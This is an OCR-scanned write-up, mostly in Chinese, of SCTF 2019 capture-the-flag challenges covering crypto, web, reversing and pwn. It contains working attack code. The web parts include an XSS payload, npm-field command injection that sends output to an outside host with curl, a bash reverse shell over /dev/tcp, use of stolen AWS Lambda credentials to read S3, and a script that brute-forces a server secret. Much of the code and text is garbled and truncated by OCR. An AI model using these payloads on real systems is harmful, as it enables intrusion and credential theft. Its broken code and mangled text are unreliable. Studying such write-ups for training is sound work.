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exp.py

import sys

sys.setrecursionlimit(100000)

file = open("sctfmaze.txt")

maze = [[0 for j in range(0, 100)] for i in range(0, 100)]
vis = [[O for j in range(0, 100)] for i in range(0, 100)]

class Node:

#print maze

for line in file:

a = line[:-1].split(" ")
#print a

n = Node()

for i in range(2,len(a)):

#print a[i],

if afi] =="0":
nt=1

if afi] =="1":
nr=1

if afi] =="2":
nb=1

if afi] =="3":

nl=1



#print a[i],

#print

maze[int(a[0])][int(a[1])] = n
#print a[0],a[1],maze[int(a[0])][int(a[1])].b
#exit()

def check(i,j):

if i>=100 or i<0 or j>=100 or j<O:
return False

if vis[i][j] == 1:

return False

return True

def printmap():

global vis

for i in range(0,100):

for j in range(0,100):

if vis[i][j] == 1:

print "%2d%2d" % (i,j)

print" "
maxx =0
print maxx,i,j

def dfs(i,j,n):

global maxx

global vis

global maze

n+=1

#print maxxi,j,n,maze[i][j].t maze[i][j].r, mazeli][j].b,mazeli][j].|
if n>maxx:

print n, i,

#print n,i.j,mazelil[j].t, mazelil[j].r, maze[il[j].b,maze[il[j].
maxx=n

if check(i-1,j) and mazeli][j].t == O:



vis[i-1][j] = 1

dfs(i-1,j,n)

vis[i-1][j] = 0

if check(i,j+1) and maze[i][j].r == 0:

vis[i][j+1] = 1

dfs(i,j+1,n)

vis[il[j+1] = 0

if check(i+1,j) and maze]i][j].b == 0:

vis[i+1][j] = 1

dfs(i+1,j,n)

vis[i+1][j] = 0

if check(i,j-1) and mazei][j].| == O:

vis[il[j-1] = 1

dfs(i,j-1,n)

vis[i][j-1] = 0

vis[70][22] = 1

dfs(70,22,0)

exit()

for i in range(0,100):

for j in range(0,100):

#print ij

vis[il[j] = 1

dfs(i,j,0)

vis[i][j] = O
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1.hastads.sage

def hastads(cArray,nArray,e=3):

Performs Hastads attack on raw RSA with no padding.
cArray = Ciphertext Array

nArray = Modulus Array

e = public exponent

if(len(cArray)==len(nArray)==e):

for i in range(e):

cArray[i] = Integer(cArrayf[i])

nArrayl[i] = Integer(nArrayf[i])

M = crt(cArray,nArray)

return(Integer(M).nth_root(e,truncate_mode=1))



else:

print("CiphertextArray, ModulusArray, need to be of the same length, and the same size as the public
exponent")

def linearPaddingHastads(cArray,nArray,aArray,bArray,e=3,eps=1/8):
Performs Hastads attack on raw RSA with no padding.

This is for RSA encryptions of the form: cArray[i] = pow(aArray[i]*msg + bArray][i],e,nArray]i])
Where they are all encryptions of the same message.

cArray = Ciphertext Array

nArray = Modulus Array

aArray = Array of 'slopes' for the linear padding

bArray = Array of 'y-intercepts' for the linear padding

e = public exponent

if(len(cArray) == len(nArray) == len(aArray) == len(bArray) == e):
for i in range(e):

cArray[i] = Integer(cArray[i])

nArrayli] = Integer(nArrayf[i])

aArrayli] = Integer(aArray][i])

bArray[i] = Integer(bArray[i])

TArray = [-1]"e

for i in range(e):

arrayToCRT = [0]"e

arrayToCRTIi] = 1

TArray[i] = crt(arrayToCRT,nArray)

P. = PolynomialRing(Zmod(prod(nArray)))

gArray = [-1]"e

foriin range(e):

gArray[i] = TArray[i]*(pow(aArray[i]*x + bArray][i],e) - cArray[i])

g = sum(gArray)

g = g.monic()



# Use Sage's inbuilt coppersmith method
roots = g.small_roots(epsilon=eps)
if(len(roots)== 0):

print("No Solutions found")

return -1

return roots[0]

else:

print("CiphertextArray, ModulusArray, and the linear padding arrays need to be of the same length," +
"and the same size as the public exponent")
def LinearPadding():

import random

import binascii

e=3

nArr = [

0x81e620887a13849d094251e5db9b9160d299d2233244876344c0b454c99f7baf9322aa90b371f59a8ed67 3f6¢

4 m | r

0x6c7c7935c58a586¢f45e2e62ee51f6619ae2f6a7cef3865ed40a0d62ec31ba612e81045bcc6e50aad1d225b0f¢

4 | 1 | 3

0x5e67f4953462f66d217e4bf80fd4f591cbe22a8a3eac42f681aea880f0f90e4a34aca250b01754dd49d3b75120°

4 1 | 3

CcArr =

0x3512b763bab0b45b2c6941cccd550c8b2628cealf162dc3902951e48115d58d16ea25075da6331617e7adact

4 | 1 | 3

0x36bfe6fba6f34b93a0d2d44c890dfe44afc715a586bc1ad44aa184571bb88a238187024b36b22a1f52a64553fbt

4 m | 3

0x4961ba65469dfc17e663af04dfb8eeee16c61df4f85971495d0c7e7061040602638963651791cfad289923123(

4 | 1 | 3

aArr =

0xd0f458bc246d88f38e78076b36ad58981928594035b9e428401dc3ccf049a8012926dffbSbedfa225e8e12837(

4 1 | b

Oxfbedf9c34170262e2ed0eee7512e935715400a8ce541285¢98e5269d2cdf4dc1aa81e117bf5d62a331006437¢

4 1 | b

0xa2995200a4f252d7ba9959a3b7d51c4b138f3823869f71573f4ab61c581ce8879d40396a33ddc32a93fd100a1

4| i | v

bAT = [

Oxc2a6d47dc16824c86e92a9e88a931d215846052fe6787c11d0fcd9f4dde28f510707c33948290f69644a7fac4C

4 1 | b




Oxc2343fdbb6a351b387174db494e03d0879beal084e65b16f3f0ad106472bd3974813aec28a01fcceeae00db6d:

4 | T | 3

Oxc4a2fb937c7441be58bfcb06208e0987423ab577041d0accf1f446545b9ebb7e4874fc56597ab1b842bb50e36-

4 T | r

randUpperBound = pow(2,500)

msg = linearPaddingHastads(cArr,nArr,aArr,bArr,e=e,eps=1/8)
msg = hex(int(msg))[2:]

if(msg[-1]=='L"):

msg = msg[:-1]

if(len(msg)%2 == 1):

msg ="'0" + msg

print(msg)

print(binascii.unhexlify(msg))

if _name__ ==' main

LinearPadding()

2.exp.py

HOST = "47.240.41.112"

PORT = 54321

from Crypto.Util.strxor import strxor

from pwn import *

def pad(msg):

pad_length = 16 - len(msg) % 16

return msg + chr(pad_length) * pad_length
r = remote(HOST, PORT)

ru = lambda x : r.recvuntil(x)

rl = lambda : r.recvline()

sl = lambda x : r.sendline(x)

# Give a large number bigger than n to break proof_of work
ru('{65537, ')

n = ru('L}").strip('L}')

n = int(n[2:],16)

ru('Give me something you want to encrypt:')



sl(str(n**2))

# pad the message and target message we got in the first step
msg = pad("l will send you the ticket tomorrow afternoon")
target_msg = pad("l will send you the ticket tomorrow morning")
ru('message’)

sl('1")

ru('this:")

message = ((ru('n').strip(' ")).strip('n")).decode('hex’)
ru('message’)

# message xor enc_message = middle_key_stream, middle_key stream xor target_message =
enc_target_message, so enc_target_message = xor(message,enc_message,target_message)

enc_target_message = strxor(strxor(target_msg,message),msg).encode('hex)
# choice 2 and send enc_target_message to get flag

sl('2")

ru('now:")

sl(enc_target_message)

flag = ru(’})

print "[+]FLAG IS: "+flag

r.close()

warmup

it &% K #unpad

def unpad(self, msg):

return msg[:-ord(msg[-1])]

msg[-1]FT A H Ok E, Wtdidl. ZHe:

msg = self.unpad(msg)

if msg == 'please send me your flag":

A —5E EmsgsE 'please send me your flag'+'x08"8

JE AR U —AMGF-5 1, 5o it B R

'please send me your flag'+'A*23+'x18" X />t At i /2 -
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if self.code(msg) == code:



~code bk HUh /& 160 ST BUE— S, Ffa FRIEAT — IR e M I
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FE— R EA R P T .

7] 313X B 'please send me your flag'+'A*23+'x18'
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exp.py

#!/usr/bin/python

# -*- coding: utf-8 -*-

from Crypto.Cipher import AES

from Crypto.Util.strxor import strxor

from Crypto.Random import get_random_bytes
from FLAG import flag

def pad(msg):

pad_length = 16 - len(msg) % 16

return msg + chr(pad_length) * pad_length
iv=Db"1"16

message = b'see you at three o'clock tomorrow'
message = iv+pad(message)

res1 = bytes([0])*16

for i in range(len(message)/16):

res1 = bytesxor(message[i*16:(i+1)*16], res1)
message?2 = 'please send me your flag' # len=24
message2 = iv+tmessage2+7*b'x00'+b'x18'

res2 = bytes([0])*16

for i in range(len(message)/16):

res2 = bytesxor(message[i*16:(i+1)*16], res2)
sig = bytesxor(res1,res2)

sig1 = sig[:15]

sig2 = sig[151]



final = ivtmessage2+7*b'x00'+sig2+sig1+b'x18'
sctf{yOu_4r3 7h3 4p3x_ch4mp10n}
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f= Check we can run. Otherwise fall back or ignore =%/
if (!DOMPurify.isSupported) {

if
typeof window.toStaticHTML === ‘object' ||
typeof window.toStaticHTML === "function'
) 1
if (typeof dirty === ‘'string') {

return window.toStaticHTML{dirty);
}

if (_isNodeldirty)) {
return window,. toStaticHTML{dirty.outerHTML);

H
}

return dirty;

}
4 DOMPurify.isSupported Afalse, N fg 0558t id 3g
TRMIE

name=a;alert(1);%0aDOMPurify[%27isSupported%27]%3dfalse&text=
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POST /upload HTTP/1.1

Host: sctf2019.10ca1.xyz

Connection: close

Content-Length: 173

Accept: application/json, text/plain, */*

Origin: https://sctf2019.10ca1.xyz

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebK:it/537.36 (KHTML, like Gecko)
Chrome/74.0.3729.169 Safari/537.36

Content-Type: application/json;charset=UTF-8
Referer: https://sctf2019.10ca1.xyz/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
{"key":"abcdefghiklmn123","npm":[";curl http://xxx:8088/ -X POST -d "'Is -al"™]}
HTER, RS & EEHRA, EHELIUNR:
const koa = require("koa");

const AWS = require("aws-sdk");

const bodyparser = require(’koa-bodyparser');
const Router = require('koa-router');

const async = require("async");

const archiver = require(‘archiver’);

const fs = require("fs");



const cp = require("child_process");

const mount = require("koa-mount");

const cfg = {

"Bucket":"static.|0ca1.xyz",

"host":"static.l0ca1.xyz",

}

function getRandomStr(len) {

var text = ";

var possible = "ABCDEFGHIJKLMNOPQRSTUVWXY Zabcdefghijkimnopgrstuvwxyz0123456789";
for (vari=0;i<len;i++)

text += possible.charAt(Math.floor(Math.random() * possible.length));
return text;

I3

function zip(archive, output, nodeModules) {

const field_name = getRandomStr(20);
fs.mkdirSync('/tmp/${field_name});

archive.pipe(output);

return new Promise((res, rej) => {

async.mapLimit(nodeModules, 10, (i, c) => {
process.chdir(’/tmp/${field_name});

console.log('npm --userconfig="/tmp' --cache="/tmp' install ${i}");
cp.exec('npm --userconfig="/tmp' --cache="tmp'" install ${i}", (error, stdout, stderr) => {
if (error) {

c(null, error);

}else {

c(null, stdout);

}

3

}, (error, results) => {

archive.directory('/tmp/${field_name}/", false);

archive.finalize();



b;

output.on('close’, function () {

cp.exec('rm -rf /tmp/${field_name}’, () =>{
res(™);

b;

b;

archive.on("error", (e) => {

cp.exec('rm -rf /tmp/${field_name}’, () => {
rej(e);

s

const s3Parme = {

I accessKeyld:"xxoo0000000000xK",

/1 secretAccessKey:"Yoooo0000000000xK",

}

var s3 = new AWS.S3(s3Parme);

const app = new koa();

const router = new Router();

app.use(bodyparser());
app.use(mount(/static',require('koa-static')(require('path’).join(__dirname,'./static'))));
router.get("/", async (ctx) => {

return new Promise((resolve, reject) => {
fs.readFile(require('path’).join(__dirname, './static/index.html'), (err, data) => {
if (err) {

ctx.throw(" & 4t &k A i, 15 H ")

return;

I3

ctx.type = 'text/html’;

ctx.body = data.toString();



resolve();

b

b

}

.post("/login",async(ctx)=>{

if(!ctx.request.body.email || !ctx.request.body.password){

ctx.throw(400,"Z U R");

return;

}

ctx.body = {isUser:false,message:"ff| /* % ok & i 45 R"};
return;

1

.post("/upload”, async (ctx) => {

const parme = ctx.request.body;

const nodeModules = parme.npm;

const key = parme.key;

if(typeof key == "undefined" || key!="abcdefghikimn123"){
ctx.throw(403,"i% 3k ")

return;

}

if (typeof nodeModules == "undefined") {

ctx.throw(400, "JSON #& 4 1%");

return;

}

const zipFileName = *${getRandomStr(20)}.zip";

var output = fs.createWriteStream("/tmp/${zipFileName}’, { flags: "w"});
var archive = archiver('zip', {

Zlib: { level: 9},

8

try {

await zip(archive, output, nodeModules);



} catch (e) {

console.log(e);

ctx.throw(400," % 4t & 4= i, 15 = Al");

return;

}

const ZipBuffer = fs.readFileSync("/tmp/${zipFileName}");

const data = await s3.upload({ Bucket: cfg.Bucket, Key: "node_modules/${zipFileName}", Body: zipBuffer
,ACL:"public-read"}).promise().catch(e=>{

console.log(e);

ctx.throw(400," 5 4t & AR B, T E "),

return;

b

ctx.body = {url:"http://${cfg.host}/node_modules/${zipFileName}};
cp.execSync('rm -f /tmp/${zipFileName}");

return;

})

app.use(router.routes());

if (process.env && process.env.AWS_REGION) {
require("dns").setServers(['8.8.8.8','8.8.4.4");
const serverless = require('serverless-http');
module.exports.handler = serverless(app, {
binary: ['image/*, 'image/png', 'image/jpeg’]

b

telse{

app.listen(3000,()=>{

console.log( listening 3000......");

b

IN
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const s3Parme = {
/I accessKeyld:"xooo00000000xx",
/1 secretAccessKey:"Xooooa00a0000000xKX

}
ICAFAWS A WA H 77 AT LA X A key

Ivarl/task/.git/

total 46

drwxr-xr-x 5 root
drwxr-xr-x 23 root
drwxrwxr-x 6 root
—rW—rw-r—-- 1 root
I—rw—rw-r—— 1 root
drwxrwxr-x 127 root
-rw-rw-r-— 1 root
—-rW—rw-r-- 1 root
drwxrwxr-x 5 root

[core]

.repositoryformatversion

. filemode = fa
.bare = false

root
root
root
root
root
root
root
root
root

lse

152
4096
121
647
4245
2314
473
36747
67

Jun
May
Jun
Jun
Jun
Jun
Jun
Jun
Jun

. logallrefupdates = true

.symlinks = fa
+ignorecase =

[remote "origi

lse

true

nll]

22
14
22
22
22
22
22
22
22

0

01:
11:
81:
01:
01:
01:
81:
01:
01:

29 .

55 .

29
29
29
29
29
29
29

.git

.gitignore
index.js
node_modules
package. json
package-lock. json
static

. fetch = +refs/heads/*:refs/remotes/origin/x*
.url = https://github.com/10cal/SCTF-2019.git

[branch "maste

.merge = refs/heads/master

.remote = orig

r-.ll ]

in

& ishell bash -i >& /dev/tcp//6666 0>& JLA Rk 2> Wi I, (HAZHS [ T

B R4 #% b node -eiz{Tjs, & LR H iRV s3, Hflssrf

const AWS = require("aws-sdk");

const s3 = new AWS.S3();

const bkt = s3.listObjects({Bucket: "static.l0ca1.xyz"});

bkt.promise().then((data)=>{
console.log(data)

}

);



{ IsTruncated: false,

Marker: .
Contents:

[ { Key: 'flaaaaaaaaag/',
LastModified: 2019-06-20T@07:02:12.000Z,
ETag: '"d41d8cd98f00b204e9800998ecfB8427e""',
Size: @,

StorageClass: 'STANDARD',

Owner: [Object] },

Key: 'flaaaaaaaaag/flaaaag.txt',
LastModified: 2019-06-20T07:18:06.000Z,
ETag: '"1e9777c445a6ae396117850e8fa408e9" ",
Sizeg?7’,

StorageClass: 'STANDARD',

Owner: [Object] }, Z2E (www.angquanke.com )

const AWS = require("aws-sdk");

const s3 = new AWS.S3();

const flag = s3.getObject({Bucket: "static.l0ca1.xyz", Key: "flaaaaaaaaag/flaaaag.txt"});
flag.promise().then((data)=>{

console.log(data)

}
);
MR T B AR AT BT 10M
73637466704177332d49342046756e58383236325023425974337d|
16T FRE6HE 2 ERER
sCH{AW3-14-FUNX8262A #BY13)
Fiik2:
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access key id

secret access key

token

XI5k e Bz s B selflenvironR 11X =N R Pt , SR8 5 A thid Hraws clific & ifkey B3 352s35AT 1
flag shop

robots. txtfE 7 /filebak, i) J5 5= Y5 :

require 'sinatra’

require 'sinatra/cookies'

require 'sinatra/json'

require 'jwt'

require 'securerandom’

require 'erb’

set :public_folder, File.dirname(__FILE ) + "/static'
FLAGPRICE = 1000000000000000000000000000
#ENV["SECRET"] = SecureRandom.hex(xx)
configure do

enable :logging

file = File.new(File.dirname(__FILE_ ) + '/../log/http.log',"a+")
file.sync = true

use Rack::CommonLogger, file

end

get"/" do

redirect '/shop’, 302

end

get "ffilebak" do

content_type :text

erb 10.binread _ FILE__

end

get "/api/auth" do

payload = { uid: SecureRandom.uuid , jkl: 20}

auth = JWT .encode payload,ENV["SECRET"] , 'HS256'



cookies[:auth] = auth

end

get "/api/info" do

islogin

auth = JWT .decode cookies[:auth], ENV["SECRET"] , true, { algorithm: 'HS256' }
json({uid: auth[0]["uid"],jkl: auth[O]["jkI"T})

end

get "/shop" do

erb :shop

end

get "/work" do

islogin

auth = JWT .decode cookies[:auth], ENV["SECRET"] , true, { algorithm: 'HS256" }
auth = auth[0]

unless params[:SECRET].nil?

if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-Z]+/)}")

puts ENV["FLAG"]

end

end

if params[:do] == "#{params[:name][0,7]} is working" then

auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)

auth = JWT .encode auth,ENV["SECRET"] , 'HS256'

cookies[:auth] = auth

ERB::new(™).result

end

end

post "/shop" do

islogin

auth = JWT.decode cookies[:auth], ENV["SECRET"], true, { algorithm: 'HS256' }
if auth[O]["jkl"] < FLAGPRICE then

json({title: "error",message: "no enough jki"})



else

auth << {flag: ENV["FLAG"]}

auth = JWT .encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth

json({title: "success",message: "jkl is good thing"})
end

end

def islogin

if cookies[:auth].nil? then

redirect to('/shop")

end

end

&I ERB::new(™).result

fP1EerbfB RN, & namey, doy is working
g4 ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-Z]+/)}") ,
SECRETZ4nl 4%, WIRILECFISECRET, NI $~ (ruby$sih, sl — R IENVLEC S, 5 2 7E v i ik [F]
TR n LU secret, 485 HhiEJWT 2 Kflag.

PR RIAS DT -

import requests

import base64

url = "http://47.110.15.101"

re = requests.session()

re.get(url + "/api/auth")

flag = "09810e652ce9fad882fe4875c"

while True:

i = "
for i in "0123456789abcdef™:
#now = flag + i

now =i + flag

res = re.get(url + "/work?
name=%3¢%25%3d%24%7e%25%3e&d0=%3c%25%3d%24%7e%25%3e%20is%20working&SECRET="+no

4 | 1 | 3




if len(res.text) > 48:
print res.text

print flag

flag = now

break

print flag

eyJhbGei0iJIUZITNLJ9 . W3sidNlkIjoiY jNjYzk

Re

Who is he

FTunity R IR, SEBR R — MRS, AHERT — AN ARE.

T TR, BRiL_dataManagedAssembly-CSharp.dllS i% & /7% L2 i 77 . dnspy—10 42 .

JUR—/DES CBCHIR I, %50 4IHH , WIbivATkey I . T3 CHIE 7 # i\ 2 Unicode, 4]
JE71234°, AN R T E AT X00".

import base64
from Crypto.Cipher import DES
key = b"1x002x003x004x00"

des = DES.new(key, mode = DES.MODE_CBC, iv = key)



cipher =
b"1Tsy0ZGotyMinSpxqYZzVBWnfMdUcqCMLUOMA+22Jnp+MNwLHVYUF T oxRQrOc+ONZc6Q7LOEAmMzbycqob:

4| i | v

cipher = base64.b64decode(cipher)
plain = des.decrypt(cipher)[0:-8].decode("utf-16")
print(plain)
fige R AT 2]
He_ P1ay_Basketball_Very We11!Hahahahaha!
— NRIARS, T BRI R A A BRI T .
JE i fce, HEHEE R Emmmmm”

Fls Gaech Vew Debeg Tooh Kes v
] 1 g < 14880
Addreu P D oade Commam

singt]_Lats 1ABE00 00 ad
sinpot] Labe TABBIM &7 o
sinpt]_Labs 1ABBA0Y 00 aad
fuinpot] 3o 1ABEEGE 14 T
gt Ll TABEAI0 00 w=d |
sinpst] Labe TABBCED 1% L
i
s
sad
o

sinpt]_Lats 1ABEEOD 00

sinpst]_Lale TABCTIE &7 e ]

singt]_Labs 1ABCON 00
sinpt] Ll TABCARD 1%

HEIAIE—AEER, ENFTEE - TARNIGE, X Hbase64 )7 FlZ AidIE A —+E ! —IA W7
AR, e EERE. B MR

Oh no!This is a trick!!!

F AR Hbaseb4it T, keyth ik T test.
i JE s 2

She_P1ay_Black_Hole Very Wel1!LOL!XD!

PR IEM . AR

import base64

from Crypto.Cipher import DES

key = b"tx00ex00sx00tx00"

# print(a)

# print(key)

des = DES.new(key, mode = DES.MODE_CBC, iv = key)



a =
b"xZWDZaKEhWNMCbiGYPBIIY 3+arozO9zonwrYLiVL4njSezZ2RYM2WwsGnsnjCDnHs7N43aFvVNES4noSadP¢

4 | I | 3

a = base64.b64decode(a)

res = des.decrypt(a)[0:-6].decode("utf-16")

print(res)

GksrtEceINAETEITR, ATLLERlpesk. A dump Rk, FiERdnspy, A LLE RN AR REA .
Creakme

mainJT k5 — N R EHTSMC. Sk X BL.SCTF, #XJ5 1 i DebugBreak T b i Fi il 2 i i if il i hn 6 75
AokBM. 23t sub_402450 #17SMC.

IRE G BA WAL R -

fromida_bytes import get_bytes, patch_bytes
st = 0x404000

key = map(ord,list("sycloversyclover"))

for i in range(512):

tmp = ord(get_bytes(st,1))

tmp”=key[i%16]

tmp = ~tmp

patch_bytes(st,chr(tmp))

st+=1

B BR 2L sub_404000 7E42 H R sub_4024A0 H# 2], wl URBLE R Z 5 i) — 8 745 s 22U base64
TATH

JERINE 5y, 1R 5B HAES CBC, # SCHHANIIG M = A
from base64 import b64decode

from Crypto.Cipher import AES

key = b"sycloversyclover"

iv = b"sctfsctfsctfsctf"

aes = AES.new(key, mode = AES.MODE_CBC, iv = iv)

res = b"nKnbHsggqD3aNEB91jB3gEzAr+IkIQwT 1bSs3+bXpeuo="
cipher = b64decode(res)

tmp = aes.decrypt(cipher)

print(tmp)

13 #lflag:



sctf{Ae3_C8c 128 pKcs79ad4}

BT IIETR 2 .

T EIRTEMWT, =&4rpassword.

H—uBor N5 5k E, wasd b AT, xyrEZi T ) B R RS
****- ****- #* *kkkk *“-*

**S *khkkk kkk  kk *% *

ELRAE R AR R

ddwwxxssxaxwwaasasyywwdd
5 & base64

c2NOZI85MT Ay

H AR AR BRI, BRI RK:
#include"stdio.h"

#include"string.h"

#define ROL(x, 1) (((x) << (r)) | ((x) >> (32 - (r))))
#define ROR(x, r) (((x) >> (1)) | ((x) << (32 - (r))))

unsigned int a[288] = {0x0D6, 0x90, OxOE9, 0xOFE, 0x0CC, OxOE1, 0x3D, 0x0B7, 0x16, 0x0B6, 0x14, 0x0C2,
0x28, OXOFB, 0x2C, 0x5, 0x2B, 0x67, 0x9A, 0x76, 0x2A, OXOBE, 0x4, 0x0C3, 0x0AA, 0x44, 0x13, 0x26, 0x49,
0x86, 0x6, 0x99, 0x9C, 0x42, 0x50, 0xOF4, 0x91, OXOEF, 0x98, 0x7A, 0x33, 0x54, 0x0B, 0x43, 0x0ED, 0x0CF,
Ox0AC, 0x62, 0x0E4, 0x0B3, 0x1C, 0x0A9, 0x0C9, 0x8, Ox0ES8, 0x95, 0x80, OXODF, 0x94, OXOFA, 0x75, Ox8F,
0x3F, 0x0AG, 0x47, 0x7, OxOA7, OXOFC, OxOF3, 0x73, 0x17, OxOBA, 0x83, 0x59, 0x3C, 0x19, OXOE6, 0x85, 0x4F,
0x0A8, 0x68, 0x6B, 0x81, 0x0B2, 0x71, Ox64, OXODA, 0x8B, OxOF8, OXOEB, 0x0F, 0x4B, 0x70, 0x56, 0x9D,
0x35, Ox1E, 0x24, OXOE, Ox5E, 0x63, 0x58, 0xOD1, Ox0A2, 0x25, 0x22, 0x7C, 0x3B, 0x1, 0x21, 0x78, 0x87,
0x0D4, 0x0, 0x46, 0x57, 0x9F, 0x0D3, 0x27, 0x52, 0x4C, 0x36, 0x2, 0XOE7, 0x0AO, 0x0C4, 0xOC8, Ox9E,
OxOEA, 0x0OBF, 0x8A, 0x0D2, 0x40, 0x0C7, 0x38, 0x0B5, 0x0A3, 0x0F7, 0x0F2, OXOCE, Ox0F9, 0x61, 0x15,
0x0A1, OxOEOQ, OxOAE, 0x5D, 0x0A4, 0x9B, 0x34, Ox1A, 0x55, 0xOAD, 0x93, 0x32, 0x30, 0xOF5, 0x8C, 0x0B1,
OxOE3, 0x1D, 0xOF6, OxOE2, Ox2E, 0x82, 0x66, 0xOCA, 0x60, 0x0CO, 0x29, 0x23, OxOAB, 0x0D, 0x53, 0x4E,
Ox6F, 0xOD5, 0x0DB, 0x37, 0x45, OXODE, 0xOFD, Ox8E, 0x2F, 0x3, OxOFF, 0x6A, 0x72, 0x6D, 0x6C, 0x5B,
0x51, 0x8D, 0x1B, 0x0AF, 0x92, 0x0BB, 0x0DD, 0x0BC, 0x7F, 0x11, 0x0D9, 0x5C, 0x41, 0x1F, 0x10, Ox5A,
0x0D8, 0x0A, 0x0C1, 0x31, 0x88, 0x0AS5, OxOCD, 0x7B, 0x0BD, 0x2D, 0x74, 0x0DO, 0x12, 0x0B8, OxOES5,
0x0B4, 0x0BO, 0x89, 0x69, 0x97, 0x4A, OxOC, 0x96, 0x77, OX7E, 0x65, 0x0B9, 0x0F1, 0x9, 0x0C5, Ox6E,
0x0C6, 0x84, 0x18, OxOF0, 0x7D, OXOEC, 0x3A, 0xODC, 0x4D, 0x20, 0x79, OXOEE, Ox5F, 0x3E, 0x0OD7, 0x0CB,
0x39, 0x48, 0x0C6, OXOBA, 0x0B1, 0x0A3, 0x50, 0x33, 0x0AA, 0x56, 0x97, 0x91, 0x7D, 0x67, 0xODC, 0x22,
0x70, 0x0B2, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, OxO};

unsigned int foo2(unsigned int a1)

{



unsigned v1;
unsigned char byte[4];

byte[0] = a18&0Xff;

byte[1] = (a1>>8)&0Xff;

byte[2] = (a1>>16)&0Xf;

byte[3] = (a1>>24)&0xf;

v1 = (a[byte[0]])| (a[byte[1]]<<8)|(a[byte[2]]<<16)| (a[byte[3]]<<24);
return ROL(v1,12)"ROL(v1,8)"ROR(v1,2)"ROR(V1,6);

}

unsigned int foo(unsigned int a1, unsigned int a2, unsigned int a3, unsigned int a4)

{
return a1 A foo2(a2"a3"a4);

}

int main()

{

unsigned int tmp[30] = {0};

unsigned int cipher[4] = {OXBE0O40680, OXC5AF7647, 0xX9FCC401F, OxXD8BF92EF};
memcpy(tmp+26,cipher,16);

for(int i = 25;i>=0;i--)

tmp[i] = foo(tmp[i+4],tmp[i+1],tmp[i+2],tmp[i+3]);

tmp[4] = 0;

printf("%sn",(char *)tmp);

return O;

}

flag_is_sO_ug1y!

73 %lflag

sctf{ddwwxxssxaxwwaasasyywwdd-c2NOZI8SMT Ay(fl4g_is_s0_ug1y!)}
strange apk

H712/~chr

localObject2 = new StringBuilder();

((StringBuilder)localObject2).append(paramAnonymousView);



((StringBuilder)localObject2).append(str.charAt(i));
paramAnonymousView = ((StringBuilder)localObject?2).toString();
i++;
if (((String)localObject2).equals("c2NOZntXM2xMG11"))

>>> base64.b64decode("c2NOZntXM2xMG11")

'sctf{W3IcOme'

A dataln 5 i), EEREIWIIT A& 5 5 apk, T REZED .
Ji18/~chr:

X J 2 Hintent)s 3l T HAthclass:

localObject1 = new Intent();
((Intent)localObject1).putExtra("data_return", paramAnonymousView);
s.this.setResult(-1, (Intent)localObject1);

s.this.finish();

A — BORBE UL

if (f.encode(paramintent.getStringExtra("data_return"), (String)localObject1).equals("~8t808 8A8n848r808i8d8-
8w808r818d8}8™))

X B MDS:

try

{

Object localObject2 = MessageDigest.getinstance("MD5");
((MessageDigest)localObject2).update("syclover".getBytes());
Biginteger localBiginteger = new java/math/Biginteger;
localBiglnteger.(1, ((MessageDigest)localObject2).digest());
localObject2 = localBigInteger.toString(16);

localObject1 = localObject2;

}

catch (Exception localException)

{

localException.printStackTrace();

}
WES 7w



public static void genMd5(}

String plaintext = "syclover";

try{

MessageDigest m = MessageDigest.getinstance("MD5");
m.reset();

m.update(plaintext.getBytes());

byte[] digest = m.digest();

Biginteger bigint = new Biglnteger(1,digest);

String hashtext = bigint.toString(16);
System.out.print(hashtext);

}

catch (Exception localException)

{
localException.printStackTrace();
}

}
#5331 8bfc8af07bca146c937f283b8ec768d4

JRAN 4 ELCA A encode pri 4 :

public static String encode(String paramString1, String paramString2)
{

int i = paramString1.length();

int j = paramString2.length();

StringBuilder localStringBuilder = new StringBuilder();

for (intk = 0; k <i; k++)

{

localStringBuilder.append(paramString1.charAt(k));
localStringBuilder.append(paramString2.charAt(k / j));

}

return localStringBuilder.toString();

}
R NGBS BB R UR TR 1o NIZ2K % |



RS, BEHEAEflag il A8 B 17 H . ~8t808_8A8n848r808i8d8-8w808r8I8d8}8
Frbls 2 Biflag:  ~t0_An4r0id-wOrld}

Jit Ll #AMlag: sctf{W3lcOme~t0_An4r0id-wOrld}

cipher =
C28BC39DC3A6C283C2B3C39DC293C289C2B8C3BAC29EC3A0C3A7C29A1654C3AF28C3A1C2B1215B53
len(cipher) = 80

HljebfTIT, BemAEM B — DR R E, XA REI AN DS H
$—/flag, 2 A~sEhellodsctf7 47 5 ffimd5, 4 Mcipher.
BB — A

import java.lang.String;

public class Main {

public static void main(String[] args) {

ca=new c();

String flag = "sctf{";

String printable = "0123456789abcdefghijkimnopgrstuvwxyzABCDEF GHIJKLMNOPQRSTUVWXYZI#$%&
() +,-<=>2@["_{I}~";

String ss =
"C28BC39DC3A6C283C2B3C39DC293C289C2B8C3BAC29EC3A0C3A7C29A1654C3AF28C3A1C2B1215B5!

4 i | 3

for(int j=0;j<100;j++)

{

for(int i=0;i

{

String now= flag + printable.charAt(i);

//System.out.printin(now);

String d = a.a(now,"E7E64BF658BAB14A25C9D67A054CEBES");
if(ss.indexOf(d) == 0)

{

System.out.printin("flag: " + now);

flag = now;



/Ibreak;

flag: sctf{I

flag: sctf{IT

flag: sctf{IT_

flag: sctf{IT_I

flag: sctf{IT_IS

flag: sctf{IT_IS_

flag: sctf{IT_IS_A

flag: sctf{IT_IS_A_

flag: sctf{IT_IS_A_N

flag: sctf{IT_IS_A_NI

flag: sctf{IT_IS_A_NIC

flag: sctf{IT_IS_A_NICE
flag: sctf{IT_IS_A_NICE_
flag: sctf{IT_IS_A_NICE_S
flag: sctf{IT_IS_A_NICE_SO
flag: sctf{IT_IS_A_NICE_SON
flag: sctf{IT_IS_A_NICE_SONG
flag: sctf{IT_IS_A KI{Z_ SONG}

Pwn

one_heap

f7-{t.double freelfJjsill, #|Hiheap bl prociiifiifs s ¥house of three leak,
SR G H R tache attackiidT . R LAAE /40964 11— T A atREHI K. -
from pwn import*

context.log_level = "debug"

p = process("./one_heap")

a = ELF("/libc-2.27.s0")

#p = remote("47.104.89.129",10001)

gdb.attach(p)

